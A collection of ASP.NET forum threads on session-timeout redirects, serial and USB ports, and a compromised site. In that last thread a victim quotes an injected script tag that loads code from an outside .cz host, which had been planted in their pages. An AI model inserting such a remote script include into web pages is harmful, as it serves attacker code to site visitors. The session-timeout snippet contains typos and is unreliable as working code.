Am loging in to my application and i didnt make any transaction,
What does he mean by 'transaction' ? How is this relevant ? How does his system allow logging in ? If we don't know what the login code is, how can we comment on it ?
after sesstion timeout if am clicking any form that time loginpage will come
When his session times out if he tries to do anything, then he gets a login page
so in this regards i want login page autometically after sesstion timeout.give me solution
Oh - I see now. OK, fair enough. It's hardly clear tho.

OK, I managed to decipher this, I THINK.
To get the login page to show automatically, you need a javascript timer which fires after the same time as a timeout, and refreshes the page. Then the login page will show. This is rarely what users want, but it will work.

This is exactly what I did in my app and it works like a breeze. And to make the code generic, use a base Page class from which all your aspx code-behind classes derive. In the OnLoad event, use RegisterStartupScript to inject the javascript that refreshes the page. Use Session.Timeout property to determine the timeout in seconds.
protected override void OnLoad(EventArgs e) {
this.RegsiterStartupScript ("CheckTimeOut",
"<script language=\"Javascript\">"
+ "window.setTimeout(\"document.forms[0].submit();\","
+ Session.Timeout * 1000 + ");</script>"
}

I think he wants to login again automatically into system when session timeout and login page comes.
please don't forget to vote on the post that helped you.

Hey pkravikumar,
Let me suggest what I do in your situation.
1. I would make an HTTPHandler which redirects every request for ASPX extension.
2. Whenever User Logs in to my system, I would store the UserData in Session using a SessionKey. For example :
if (Session["ID"] == null))
context.Session.Add("ID", userid);
3. On every request I would check whether the requested Url leads to Login page or anyother page. If any other page, is the user Logged in already.
if (Session["ID"] == null && Request.Url.AbsolutePath != loginurl)
{
Response.Write("<script type=\"text/javascript\">var w = window.parent || window; w.location='" + loginurl + "';</script>");
Response.Flush();
Response.End();
}
This will also eliminate your problem. If session Timeout occurs, Session["ID"] will have null in it. Thus any other request to page other than loginurl will lead to redirect it to loginurl.
I hope you like this solution.
Other than that, If you dont want to write a Handler and want to do this in pages, you can see this url :
Detecting Session Timeouts[^]
Here you will find how to detect new session.

This is the ASP.NET forum. If this question is about ASP.NET, you need to explain how that is the case ( because we can't really help you without understanding that, as well as, if it's not an ASP.NET question, you're in the wrong forum )

Hi guys,
I develop a system for a serial port device and it works properly but when I change the serial port cable to a USB (universal Serial Bus) it does not work(I could not send or receive data to the device) . Do I have to write another code for the USB and if that so is it possible to write using ASP.Net.
Thanks,
Liya

No, serial and USB (the S actually stands for serial) both work the same in ASP.NET. What are you trying to do ? How did it work before, and how does it not work now ?

I dont know if they are the same maybe i'll check the USB driver.
Thanks Again

You didn't really answer me. I'm curious because there is no way to use these ports in ASP.NET, unless the device you're connecting to is on the server, which seems odd. USB and serial ARE two different ports, they just happen to both work serially. If you posted some actual code, we might be able to help more.

I connect each decive to the client machines and i install Virtual Serial Port Kit to the server and client machine and the software crates a virtul port on the server machines.
private void OpenSerialPort()
{
portName = "COM1";
if (serialPort.IsOpen)
{
serialPort.Close();
}
try
{
serialPort.PortName = portName;
serialPort.BaudRate = 19200;
serialPort.Parity = Parity.None;
serialPort.DataBits = 8;
serialPort.StopBits = StopBits.One;
serialPort.ReadTimeout = 2500;
serialPort.WriteTimeout =2500;
serialPort.Open();
// Initialize and Open
serialPort.DtrEnable = true;
portStatus = "Open";
}
catch (Exception ex)
{
portStatus = "Error";
}
}
private void SendMessage()
{
try
{
serialPort.Write(outByteBuffer.ToArray(), 0, outByteBuffer.Count);
}
catch (Exception ex)
{
throw ex;
}
}
private void ByteDataReceived(object sender, SerialDataReceivedEventArgs e)
{
string strMessage = "";
int idx;
inByteBuffer.Clear();
if (clickButton == true)
{
if (continueRead == false) return;
else
{
while (continueRead)
{
strMessage += serialPort.ReadExisting();
if (strMessage.Contains(ControlChar.EndOfText.ToString()))// || serialPort.BytesToRead < 1)
continueRead = false;
}
for (idx = 0; idx < strMessage.Length; idx++)
inByteBuffer.Add((byte)strMessage[idx]);
RawData = strMessage;
serialPort.DiscardInBuffer();
strMessage = "";
clickButton = false;
SendAckNak((byte)ControlChar.Acknowledge);
RequestManager();
}
}
else
{
serialPort.DiscardInBuffer();
}
}

Oh, this runs on an intranet, not on the web ? If you can install windows client software on the target machines, it obviously will work, but at that point, your question is no longer really about ASP.NET.
But, you're using a library that works with the serial port, you need one that works with USB to write code that uses the USB port.

Hi to all,
I am repeating this post. Actually at that time I made some changes and it worked. But after two days I was getting the same error again. Then I downloaded all the pages from the server and found that the malicious script "</asp:Content><script src=http://agenturadomov.cz/eng/sluzby.php ></script>
" was there outside the content tag. I deleted that and again uploaded the page.It worked for a while ie when I requested the same page it worked and when I navigate to other page and came back to the infected page, it again showed the same error.
Somehow we managed to change the server but still of no use. I dont know what to do.
Please assist me.
The error is :
Server Error in '/' Application.
Parser Error
Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately.

Your problem is unchanged. You still have a virus on your server. You need to get rid of it, not just keep cleaning up after it.

Are you looking for attach.FileContent.Length?

Why ? Are you unable to follow advice ? Have you written any code ?
This has nothing to do with ASP.NET. Absolutely zero. You're writing a windows app. Where does the value come from ? If it's not on the URL, you'd need to use the DOM to search the text of your web page, from a web browser control.
